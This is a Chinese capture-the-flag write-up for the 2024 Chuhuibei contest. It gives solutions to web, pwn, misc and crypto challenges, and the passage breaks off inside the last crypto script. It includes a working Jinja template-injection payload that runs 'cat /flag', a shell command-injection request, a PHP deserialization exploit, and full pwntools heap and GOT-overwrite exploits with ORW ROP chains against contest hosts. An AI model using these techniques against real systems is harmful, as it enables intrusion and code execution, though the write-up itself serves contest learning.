2024 楚慧杯 Writeup

Web

1-1

  • 保持Header发包就行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests
import re

def get_expression(response_text):
# 使用正则表达式匹配算术表达式
match = re.search(r'Calculate: (\d+) ([+\-*/]) (\d+)', response_text)
if match:
num1, operator, num2 = match.groups()
return int(num1), operator, int(num2)
return None, None, None

def calculate_expression(num1, operator, num2):
# 计算算术表达式的结果
if operator == '+':
return num1 + num2
elif operator == '-':
return num1 - num2
elif operator == '*':
return num1 * num2
elif operator == '/':
if num2 != 0:
return num1 / num2
else:
raise ValueError("除数不能为0")
return None

def poc_szfIR(url, headers, answer):
res = requests.post(url=url, headers=headers, data={"answer": answer}, verify=False)
return res.text

if __name__ == '__main__':
url = "http://139.155.126.78:21851/"
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Content-Length": "8",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "PHPSESSID=2028d8a46dded801e712c2b7004cd268",
"Host": "139.155.126.78:21851",
"Origin": "http://139.155.126.78:21851",
"Priority": "u=0, i",
"Referer": "http://139.155.126.78:21851",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"
}
correct_count = 0
for _ in range(30):
response = requests.get(url, headers=headers, verify=False)
if response.status_code == 200:
num1, operator, num2 = get_expression(response.text)
if num1 is not None and operator is not None and num2 is not None:
try:
answer = calculate_expression(num1, operator, num2)
result = poc_szfIR(url, headers, str(answer))
print(f"提交答案: {answer}, 服务器响应: {result}")
if "Correct" in result:
correct_count += 1
except ValueError as e:
print(f"计算错误: {e}")
else:
print("未能找到有效的算术表达式,跳过提交")
else:
print(f"请求失败,状态码: {response.status_code}")
# time.sleep(1) # 每次请求间隔1秒,避免过于频繁的请求
print(f"正确次数: {correct_count}/30")

img

img

1-2

  • searchSSTI {{100-2}}

img

  • fenjing一把嗦

img

  • payload
1
提交表单完成,返回值为200,输入为{'name': "{%print ((g.pop.__globals__.__getitem__('__b''uiltins__')).__getitem__('__i''mport__'))('os').popen('c''at /flag').read()%}"},表单为{'action': '/search', 'method': 'GET', 'inputs': {'name'}}

1-3

  • C处RCE
  • 先ls,题目提示了pop,找pop文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php HTTP/1.1
Host: 139.155.126.78:31743
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Origin: http://139.155.126.78:31743
Cookie: PHPSESSID=2028d8a46dded801e712c2b7004cd268; session=.eJyrVko1SjS1SDQy0DVLMrfUNTE3Mda1TDZL0000Tk02S7E0ME9JTFayUvJ1CnNW0lEqTi0uzszPi89MAYoRpbUWAEKLG1k.Z2T3ow.us-IsOtP-4inTDaqKWGYEDJ8oOI
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Priority: u=0, i
Upgrade-Insecure-Requests: 1
Referer: http://139.155.126.78:31743/index.php
Content-Length: 18

lsj=1.1.1.2%3Bnl+*
nl * 读取所有文件
  • 读到p0pmart.php文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<?php
error_reporting(0);
require_once("flag.php");

class popmart{
public $yuki;
public $molly;
public $dimoo;

public function __construct(){
$this->yuki='tell me where';
$this->molly='dont_tell_you';
$this->dimoo="you_can_guess";
}

public function __wakeup(){
global $flag;
global $where_you_go;
$this->yuki=$where_you_go;

if($this->molly === $this->yuki){
echo $flag;
}
}
}

$pucky = $_GET['wq'];
if(isset($pucky)){
if($pucky==="二仙桥"){
extract($_POST);
if($pucky==="二仙桥"){
die("<script>window.alert('说说看,你要去哪??');</script>");
}
unserialize($pucky);
}
}

error_reporting(0);
include "auth.php";

class Als{
public $text;
public $dict;

public function __wakeup()
{
if ($this->text == "helloworld"){
$this->dict->init();
}
}

public function __toString()
{
$this->text->undefinedProperty = 'New Value';
return "HACKER";
}
}

class Kl{
public $apple;
public $phone;
public $var;

public function __call($name, $arguments)
{
echo $this->apple;
}

public function __get($name)
{
foreach($_GET as $key => $value){
$$key=$$value;
}
if ($_GET=="Hack"){
if (isset($this->var)){
$arr[$this->var]=1;
if ($arr[]=1){
die("Hack!!");
}
else{
$this->content = file_get_contents($this -> phone);
echo $this->content;
}
}
}
}
}

class Glb{
public $boy;
public $gay;
private $cc;

public function init($a,$b) {
$this->boy=$a;
$this->gay=$b;
}

public function __set($name, $value)
{
if(isset($this->boy)){
print_r("1314");
return $this->boy->name;
}
}
}

if(isset($_POST['cmd'])) {
$serializecmd = $_POST['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}
?>
  • wq=二仙桥,extract函数覆盖pubcky使他≠二仙桥__wakeup()函数,yuki=molly,再用extract变量覆盖,EXP如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class popmart{
public $yuki;
public $molly;
public $dimoo;
public function __construct(){
$this->yuki='tell me where';
$this->molly='dont_tell_you';
$this->dimoo="you_can_guess";
}
public function __wakeup(){
global $flag;
global $where_you_go;
$this->yuki=$where_you_go;
if($this->molly === $this->yuki){
echo $flag;
}
}
}
$a = new popmart();
$b = serialize($a);
echo $b;
?>

img

1
O:7:"popmart":3:{s:4:"yuki";s:13:"tell me where";s:5:"molly";s:13:"dont_tell_you";s:5:"dimoo";s:13:"you_can_guess";}

img

Pwn

2-1

发现开了沙盒,禁用execve

Add功能正常,Free功能无uaf , edit功能存在off by one

img

gift功能

输入1可以泄露堆地址,输入其他的可以泄露bss地址,拿到pie

off by one打bss上的stdout结构体为p64(0xfbad1800) + p64(0)*3 + b’\x00’

泄露libc,打freehook为setcontext,最后free触发,即可orw拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import*  
elf=ELF('./ezheap')
#p=process('./ezheap')
p=remote('139.155.126.78',32467)
context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def li(a):
print(hex(a))
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_32():
return u32(p.recvuntil(b'\xf7')[-4:])
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def bug():
gdb.attach(p)

def cmd(i):
sla(b'Your choice:',str(i))

def add(idx,size):
cmd(1)
sla(b'index:',str(idx))
sla(b'Size:',str(size))


def free(idx):
cmd(3)
sla(b'index:',str(idx))

def show(idx):
cmd(4)
sla(b'choose:',str(idx))

def edit(idx,con):
cmd(2)
sla(b'index:',str(idx))
sa(b'context:',con)

add(0,0x18) #0
add(1,0x68) #1
add(2,0x68) #2
add(3,0x18) #3
edit(0,b'\x00'*0x18+p8(0xe1))
free(1)
add(4,0xd8)
show(4)
rl(b'\n')
pie=int(p.recv(14),16)-0x202160
li(pie)
free(2)
edit(4,b'\x00'*0x68+p64(0x71)+p64(pie+0x202020))
add(5,0x68)
add(6,0x68)
add(7,0x68)
edit(7,p64(0xfbad1800) + p64(0)*3 + b'\x00')
libc_base=get_addr()-0x3ed8b0
li(libc_base)

rdi = libc_base+libc.search(asm("pop rdi\nret")).__next__()
rsi = libc_base+libc.search(asm("pop rsi\nret")).__next__()
rdx = libc_base+libc.search(asm("pop rdx\nret")).__next__()
rax = libc_base+libc.search(asm("pop rax\nret")).__next__()
ret = libc_base+libc.search(asm("ret")).__next__()
syscall=libc_base+libc.search(asm("syscall\nret")).__next__()
jmp_rsp=libc_base+libc.search(asm("jmp rsp")).__next__()
free_hook=libc_base+libc.sym['__free_hook']
setcontext=libc_base+libc.sym['setcontext']+53
open_addr=libc_base+libc.sym['open']
read_addr=libc_base + libc.sym['read']
write_addr=libc_base + libc.sym['write']

payload=(b'\x00'*0x68+p64(0)+p64(free_hook&0xfffffffffffff000)+p64(0)*2+p64(0x2000)).ljust(0xa0,b'\x00')+p64(free_hook&0xfffffffffffff000)+p64(syscall)

add(8,0x18)
add(9,0x58)
add(10,0x58)
add(11,0x18)
edit(8,b'\x00'*0x18+p8(0xc1))
free(9)
add(12,0xb8)
free(10)
edit(12,b'\x00'*0x58+p64(0x61)+p64(free_hook))
add(13,0x58)
add(14,0x58)
edit(14,p64(setcontext))
add(15,0x400)
edit(15,payload)

free(15)
payload = p64(rdi)+p64(free_hook&0xfffffffffffff000)
payload += p64(rsi)+p64(0x1000)
payload += p64(rdx)+p64(7)
payload += p64(rax)+p64(10)
payload += p64(syscall) #mprotect(free_hook&0xfffffffffffff000,0x1000,7)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3,free_hook+0x300,0x30))
payload += asm(shellcraft.write(1,free_hook+0x300,0x30))

sl(payload)

inter()

2-2

Inequable_Canary

观察ida

img

同时看到题目给了有jmp rsp的gadget,限制了execve系统调用,需要orw,一开始思路就是往栈上写入shellcode然后跳转过去执行在vuln函数中还有个任意地址写8字节,因为buf读入的数据长度是0x10,因此可以覆盖到v3,sys_read(0, v3, 8uLL);就是任意地址写8字节因为没有leak的途径,因此显然需要利用这个任意地址写8字节来覆盖stack_fail_got为一个函数,进而绕过canary同时注意这里的v4是rsp+0x20,所以我一直没找到合适的方法来控制rsp指向shellcode进而jmp rsp,所以需要改变思路我们可以覆盖stack_fail_got为一个pop 3;ret,这样就可以执行v4读入的ROP链写leak出libcbase,同时再一次进入vuln函数利用这个任意地址写8字节往bss写入’flag\x00\x00\x00\x00’字符串,然后再次执行v4读入的ROP链进行ORW就打通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import*
from struct import pack
import ctypes
context(log_level = 'debug',arch = 'amd64')
p=remote('139.155.126.78',29348)
#p=process('./canary')
elf=ELF('./canary')
libc=ELF('./libc-2.31.so')
def bug(): gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
def pr(a):
print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
vuln=0x400820
stack_fail_got=0x601038
# dbg()
sa("Say some old spells to start the journey\n",p64(vuln))

sa("Tell me the location of the Eye of the Deep Sea\n",b'a'*8+p64(stack_fail_got))
sa("I have magic\n",p64(0x400a5f)) #pop 3

pop_rdi=0x400a63
pop_rsi_r15=0x400a61
read_got=0x601040
write_addr=0x4006E0
payload=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(write_addr)+p64(vuln)
sa("Let's go!\n",payload)

libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x10e1e0
li(hex(libc_base))

bss=0x601060+0x800
sa("Tell me the location of the Eye of the Deep Sea\n",b'a'*8+p64(bss))
sa("I have magic\n",b'flag\x00\x00\x00\x00') #pop 3
pop_rdi=0x400a63
pop_rsi_r15=0x400a61
read_got=0x601040
write_addr=0x4006E0
pop_rax=libc_base+0x36174
pop_rdx_r12=libc_base+0x119431
syscall_ret=libc_base+0x47656 #syscall pop_rbp ret
payload=p64(pop_rdi)+p64(bss)+p64(pop_rsi_r15)+p64(0)*2+p64(pop_rax)+p64(2)+p64(syscall_ret)+p64(0) #open
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi_r15)+p64(bss+0x100)*2+p64(pop_rdx_r12)+p64(0x100)*2+p64(pop_rax)+p64(0)+p64(syscall_ret)+p64(0)#read
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(bss+0x100)*2+p64(pop_rdx_r12)+p64(0x100)*2+p64(pop_rax)+p64(1)+p64(syscall_ret)+p64(0)
sa("Let's go!\n",payload)
inter()

DS

3-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import re
import pandas as pd

def extract_phone_numbers(text):
# 定义有效的手机号码前缀
valid_prefixes = (
'734', '735', '736', '737', '738', '739', '747', '748', '750', '751',
'752', '757', '758', '759', '772', '778', '782', '783', '784', '787',
'788', '795', '798', '730', '731', '732', '740', '745', '746', '755',
'756', '766', '767', '771', '775', '776', '785', '786', '796', '733',
'749', '753', '773', '774', '777', '780', '781', '789', '790', '791',
'793', '799' # 确保这个列表是完整的
)

# 创建正则表达式模式,提取以有效前缀开头的完整手机号码
pattern = r'(?<!\d)(' + '|'.join(valid_prefixes) + r')(\d{8})(?!\d)'
matches = re.findall(pattern, text)

# 返回完整的手机号码
return [prefix + number for prefix, number in matches]

# 读取txt文件
def read_txt_file(file_path):
with open(file_path, 'r', encoding='utf-8') as file:
return file.read()

# 将提取的手机号码保存到CSV文件
def save_to_csv(phone_numbers, output_file):
df = pd.DataFrame(phone_numbers, columns=['手机号码'])
df.to_csv(output_file, index=False, encoding='utf-8')
print(f'提取的手机号码: {phone_numbers}') # 输出提取的手机号码

# 主函数
def main():
input_file = 'data.txt' # 这里替换为你的txt文件路径
output_file = 'output.csv' # 这里替换为你想要保存的CSV文件路径

# 读取文件内容
content = read_txt_file(input_file)

# 提取手机号码
phone_numbers = extract_phone_numbers(content)

# 保存到CSV
save_to_csv(phone_numbers, output_file)
print(f'手机号码已成功保存到 {output_file}')

# 运行主函数
if __name__ == '__main__':
main()

img

Misc

4-1

img

密码MD5取前16位为key值

img

  • key值a18551e65c48f51e
  • 追踪流

img

e71f50e9773b23f9LrM9NTFlNjVjNzMUQDpsVT1KegABTTk60LjI68X66lH9Fno8gpF7BylFz2ua+exRPZO/n8PIOgZrx3NtgYSAYzF2bbOMUDY1Yw==792dea3a7ae385ca

img

img

1
DASCTF{M0Y_W1sh_Y0u_LogF1le_Usg32WEM}

4-2

img

foremost得到png和jpg,png是一个涂改的二维码,用ps把每个颜色不为纯黑(000000)的涂白,即恢复图片

得到第一段flag

img

jpg尝试之后发现是盲水印,下载工具解即可

image-20241220185543278
1
014c6e74-0c4a-48fa-8b33-ced16f847e39

4-4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from PIL import Image
import numpy as np

def split_and_swap(image_path, output_path):
# 读取图片
img = Image.open(image_path)
img = img.convert('RGB')

# 获取图片尺寸
width, height = img.size

# 确保图片尺寸可以被8整除
if width % 8 != 0 or height % 8 != 0:
raise ValueError("图片尺寸必须可以被8整除")

# 创建一个新的空白图片用于存储结果
new_img = Image.new('RGB', (width, height))
new_img_array = np.array(new_img)

# 遍历每一个8x8的格子
for y in range(0, height, 8):
for x in range(0, width, 8):
# 提取8x8格子的图像数据
block = np.array(img)[y:y+8, x:x+8]

# 将8x8格子分为四份
h, w, _ = block.shape
half_h, half_w = h // 2, w // 2

# 四份分别为:
part1 = block[:half_h, :half_w]
part2 = block[:half_h, half_w:]
part3 = block[half_h:, :half_w]
part4 = block[half_h:, half_w:]

# 交换第2份和第3份
swapped_block = np.zeros_like(block)
swapped_block[:half_h, :half_w] = part1
swapped_block[:half_h, half_w:] = part3
swapped_block[half_h:, :half_w] = part2
swapped_block[half_h:, half_w:] = part4

# 将交换后的格子放回新图片对应位置
new_img_array[y:y+8, x:x+8] = swapped_block

# 将数组转换回图片
result_img = Image.fromarray(new_img_array)

# 保存新的图片
result_img.save(output_path)

# 使用示例
split_and_swap('PixMatrix.jpg', 'output.jpg')

img

4-5

下载附件发现是raw文件,明显需要使用volatility

img

vol.exe -f E:\STUDY\ctf\lzctf\hcb\马赛克的附件2\tempdir\MISC附件\mem\mem.raw imageinfo

发现关键txt 和flag.zip

下载附件发现是raw文件,明显需要使用volatility

img

vol.exe -f E:\STUDY\ctf\lzctf\hcb\马赛克的附件2\tempdir\MISC附件\mem\mem.raw imageinfo

发现关键txt 和flag.zip

img

txt如下

img

编写脚本恢复zip即可

1
DASCTF{debef10c-05bb-4ea7-8d01-a5fdf2a246b7}

Crytro

5-1

一眼维纳攻击,直接解了

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import gmpy2
import libnum
from Crypto.Util.number import long_to_bytes
def transform(x,y): #使用辗转相处将分数 x/y 转为连分数的形式
res=[]
while y:
res.append(x//y)
x,y=y,x%y
return res

def continued_fraction(sub_res):
numerator,denominator=1,0
for i in sub_res[::-1]: #从sublist的后面往前循环
denominator,numerator=numerator,i*numerator+denominator
return denominator,numerator #得到渐进分数的分母和分子,并返回


#求解每个渐进分数
def sub_fraction(x,y):
res=transform(x,y)
res=list(map(continued_fraction,(res[0:i] for i in range(1,len(res))))) #将连分数的结果逐一截取以求渐进分数
return res

def get_pq(a,b,c): #由p+q和pq的值通过维达定理来求解p和q
par=gmpy2.isqrt(b*b-4*a*c) #由上述可得,开根号一定是整数,因为有解
x1,x2=(-b+par)//(2*a),(-b-par)//(2*a)
return x1,x2

def wienerAttack(e,n):
for (d,k) in sub_fraction(e,n): #用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数
if k==0: #可能会出现连分数的第一个为0的情况,排除
continue
if (e*d-1)%k!=0: #ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)
continue

phi=(e*d-1)//k #这个结果就是 φ(n)
px,qy=get_pq(1,n-phi+1,n)
if px*qy==n:
p,q=abs(int(px)),abs(int(qy)) #可能会得到两个负数,负负得正未尝不会出现
d=gmpy2.invert(e,(p-1)*(q-1)) #求ed=1 (mod φ(n))的结果,也就是e关于 φ(n)的乘法逆元d
return d
print("该方法不适用")

n = 114566998957451783636756389276471274690612644037126335470456866443567982817002189902938330449132444558501556339080521014838959058380963759366933946623103869574657553262938223064086322963492884606713973124514306815995276393344755433548846003574038937940253826360659447735554684257197194046341849089254659225497
e = 35489734227210930185586918984451799765619374486784192218215354633053183935617953856556709715097294481614236703293033675674496036691242573294182072757562322996800390363453350727372642264982749305833933966045097125311467413670410802534093354414115267442785896373815076066721029449240889291057288090241124904705
c = 60503455347700500866544596012233537789678841391057706123172519773588895502922586197178148979273264437566411675346207472455036341903878112074983509557751805365618433536738111588239911292341288514123006967218545943520736254346030465088445419278775539026233686559207400401082452551955780877227801939191694370380
d=wienerAttack(e,n)
print("d=",d)
m=pow(c,d,n)
#print(m)
print(long_to_bytes(m))
#DASCTF{e694f0b4e9556021d1bc9e8deedba575}

5-2

第二题参考了dexterjie师傅的博客,调一调代码就出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from Crypto.Util.number import *
from hashlib import sha256

def enc(pt, G, A, T, S, p):
s = randint(0,p-1)
D = G^s
E = A*T*A
F = D*E*D
K = list(D*S*D)
key = sum(K[0])+sum(K[1])+sum(K[2])
mask = int(sha256(str(key).encode()).hexdigest(),16)
ct = pt ^^ mask
return ct, F

p = 72887242108660141996862343556330151015969690949835567252527194788428065480383
Fp2.<i> = GF(p^2, modulus=x^2+1)
M = MatrixSpace(Fp2, 3, 3)

pk = ([(17721183402259872020800275954210023274983052570120081248291897425608931477093*i + 32398110280895896734010284949974832063887503132353681078977206899204202173789, 54531634495057046991515273558305428867102201405617856305008554208336946545276*i + 53559176432820530464958340934397135653021175198597495321065224929188410347695, 27719945502856754481236098196014205483081586087367078493933408080194499938927*i + 1450628736387393873166171805424299538505476789523674611289973478290718453200), (57242423786686483363839647362581564383925732392730073374546590355998555747077*i + 573726326354574516128249317235875704460857319673337707555095009277545125755, 33631043256657770245013631632455702904903259491780484310654749784948198388976*i + 17344746653834202604930860577508757708688427949046279718508635007113840369042, 37771390186920740637371383242878514021347606565375600086363978842439775164973*i + 60264754185911116825495147907207494752330900415794996812483089251259003404228), (1163730453993018743008743150834548760986076138562570206571825145859591284352*i + 69245390362211526197537288211735612650619880945856387683074182933575799994162, 11137807706588795799057940108843238078078690609437386007163034291855328303661*i + 50795522649623533714787572047531722836395032085224035511036953078383612475598, 14354786571703727534706086386589187674076604263117377684131521866407943036307*i + 63028649680815097939155846824928638616844025040257105384123424769274942520895)], [(22137116252880790433838296157765927318220905592359967466680754349755815464341*i + 35503968364379821899511866562472775961434113516937033217642581531414863539290, 38346074307552448152239080224505166810289185210503265380269711384969731945517*i + 9333819647786551924409858116441570177115099865486742684028611902450000042407, 24608192510515673607042276468532809071945836783394960695059783085937608049755*i + 27099766371861599260580052331632986107092105438254563604629919595057370886149), (57539731529782952718529369617033412770127782205874818027724894673104814770991*i + 12431864123786174601413168140961685219607645783666490625760143190724674574386, 33510082449726132893492104159133966168598115972734064630878005553829725389082*i + 30594711977745700371548334707069524826346332947574826081979927125841475148328, 8911862104171403632946802970568635607253840071000107875759139060453368618583*i + 51594672749496705581452789883241278156858476777167382827032876227546058970732), (58105830161247358431125768499050987088161417325586965601350797391396603985470*i + 10949064084676782939947256128733523229613253182051362970560478801614590446300, 6665352489343222248969975791152178151760060704226637217535985452272551528693*i + 16163109497937280055564868323730465088174193174761590036929535644203224067166, 26147088265849488467397913386934580340556987670869413865359802108333761377560*i + 14170094609019059182842713618319151553137248441974849089555832123638494739417)], [(60066006389024369318961505483331049048095679333675437984483948643792214278503*i + 67617085525047580942273623886038114942547589259839196477555874755427651308048, 38692305959834079988532869421062338838072016075793686080934562521314366274998*i + 21104829450473981189549299039898127784065322316764325995863199136802573514, 7207625628360021282792621977024027446511231977201394776410095364976996279450*i + 23039079766688651678553952766794875180844089420934577132338235904018762773928), (10808368042897084491009063074724200907600038030639153659288985642861405920614*i + 33955795465220353002933680692690511153845418737513482128237117905262919879043, 21645210772494061734726430463955231707074915293749580279327741388687068110310*i + 62225984739450865202997071369617271241348810092608626482294704825641320606694, 14572118842071162051223076904993643512402905544627821044103215186921277812496*i + 63504547636870837320642724540312613748726280369811190421219651308407770510674), (6529211642735966744323364626486352288002532267939478445216264742350974653419*i + 43426895500365913698127867498420593427453574994051597107529725996420257433857, 66636149494607064863031794353485502915121295051850619450321561966293398587284*i + 51049172134567530748763269555600518661288880531459625871071308764595168859033, 42297258788816007263333796194491196601979606573843177791726417124128570106777*i + 45527674821983322767637713856131638914194577467349514130179266972864796164733)], [(47645610858583239528541540288030905132801730740336899517917521534427703920375*i + 13272393664089987551368548207128885229248289454405159277755757369580866096516, 60503024931869977830369448001966194434192750710631225090391559259672930497207*i + 22742672333325631628906219543935772962495637869131049729874762344108069789046, 18239371575343144081671835175136676417172797381923442300525086630600561560114*i + 53605095942301227312866863441233162082087535371838738595931070092230378325532), (49652795839344946948771531270341537200526957150620826334216871981974859849848*i + 72788891932812016325514298655742330969740202920835574638161526839627026310392, 58465406030985457122487065262985150103086610852826560192123766406670919681919*i + 41631921368744416558173670147590406285376603436284660888096365325833457519047, 2867068797023070369258694926242485369317317985428997150826022662547346928319*i + 199536555238705400453079146297641296197748614855192340202929119323998667173), (19319782936524636558881137449470396788888469756320580071801690941326971557928*i + 34694728896207512382372151140975478616355941017631874070450334268575015485538, 60420266086997924618637147844041161464210208935194926422677077391866663978425*i + 13672363312837218411993834816309940812825734002380106434784905443915361955247, 56317025568717741728727542740124505299029374963112095990350877412868385510001*i + 56960621295573230601502052571104746367180500789238336757504091383665514782189)])
F = [(36081831373398765496490121898118275331597167308301671911642273861563666664545*i + 20818485079783326431414952124332440995164298376805349071762867760925654560129, 2080527476644284459469754065728582261439110792635520661740429151724797376184*i + 22485923248080983391383279592637691489160934672854638306617785344436031827838, 15544373162545014827602222261755865080947187122261471926061663568794038512828*i + 65994932829738499994169748656063604384011854387402875895186473718226656419067), (3553534440103543686958858303956716887328727627636404431097647427819509340361*i + 41182149981825439188243414995474733005799065992663037326956422731949977723727, 11444151159046255413538671703716370245288291793592500278345001664024824339590*i + 1802783416049323926195923226865768221398255563865542946492803065162093093803, 15739175840903697568714274177182938758189586472507039731239155962622285528109*i + 38249065906628598713138583591858150126778794837077688369911160900556744463900), (14364753807737302773559096493138893453118094354943941768609481298414054855231*i + 16290236676179704559365899211744462983770375364688247022596145726641137243214, 3863306473986430132042752882629555431418515741358351198972027547882636615940*i + 1209446834271293681961506708684952401569936830292701272655835127315444154958, 21868026584808712490812183410257662299067350008298604021123682243508255905173*i + 12828201007038003022201361213007595366913298546122923089499182187938898042596)]
ct = 96910798667771988374291172958072220832574586618080134344021393928577220469428

A, T, S, G = [M(ii) for ii in pk]
F = M(F)


############################################################### attack
E = A*T*A
detA, detT, detS, detG, detE, detF = A.det(), T.det(), S.det(), G.det(), E.det(), F.det()
r = 2244966557637008779362441591080406338119704738381872153797151
#R = 80839783875482453208291688688697485912290384775841712705111124172946909733768714734343762988749579725275997021760357500939
#r = discrete_log(detG^R, ((detA^(-1)*detT).sqrt())^R, ord=(p^2-1)//R)
#s = discrete_log(((detA^(-2)*detT^(-1)*detF).sqrt())^R, detG^R, ord=(p^2-1)//R)
#not enough so use cado-nfs
import subprocess

command = [
'./cado-nfs.py',
'-dlp',
'-ell', str(r),
'target='+str(t1),
str(p)
]
#1541758195020130454925136833461872657607368759409055632195831

command = [
'./cado-nfs.py',
'-dlp',
'-ell', str(r),
'target='+str(t2),
str(p)
]
#780392429787953543532147509264510635118839088869098098140941

try:
result = subprocess.run(command, check=True, text=True, capture_output=True)
print(result.stdout)
except subprocess.CalledProcessError as e:
print(f"ERROR: {e.returncode}")
print("ERROR:", e.stderr)
#t2^s = t1
Fr = GF(r)
s1 = Fr(1541758195020130454925136833461872657607368759409055632195831)
s2 = Fr(780392429787953543532147509264510635118839088869098098140941)
ss = discrete_log(pow(t1, 6*r, p), pow(t2, 6*r, p), operation="*", ord=(p-1)//r)
s = crt([int(ss), int(s1/s2)], [(p-1)//(6*r), r])

ss = s
for ii in range(6):
s = ss + ii * (p-1) // 6
D = G^int(s)
K = list(D*S*D)
key = sum(K[0])+sum(K[1])+sum(K[2])
mask = int(sha256(str(key).encode()).hexdigest(),16)
pt = ct ^^ mask
if(D.det()*detE*D.det() == detF):
print(long_to_bytes(pt))
break
#QAQ~4_Br0ken_Crypto_Sy5tem~TAT

5-4

p高位泄露,采用coppersmith分解n,之后解椭圆曲线求m即得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from sage.all import *
from Crypto.Util.number import *
from gmpy2 import *

n = 135133139540786818977969958456509467902948924003478556140490841984247464940261764739984274397650928404945721248284577232814352745333641188749824519153271662051302477973525156608141358709265683759057060630360909926255299541198485901065352661702656282587105799982740927802530997159098015074633017964344230291287
# leak_p = 115314121469787984258489158421056136177545051135641551928888818017665807264468
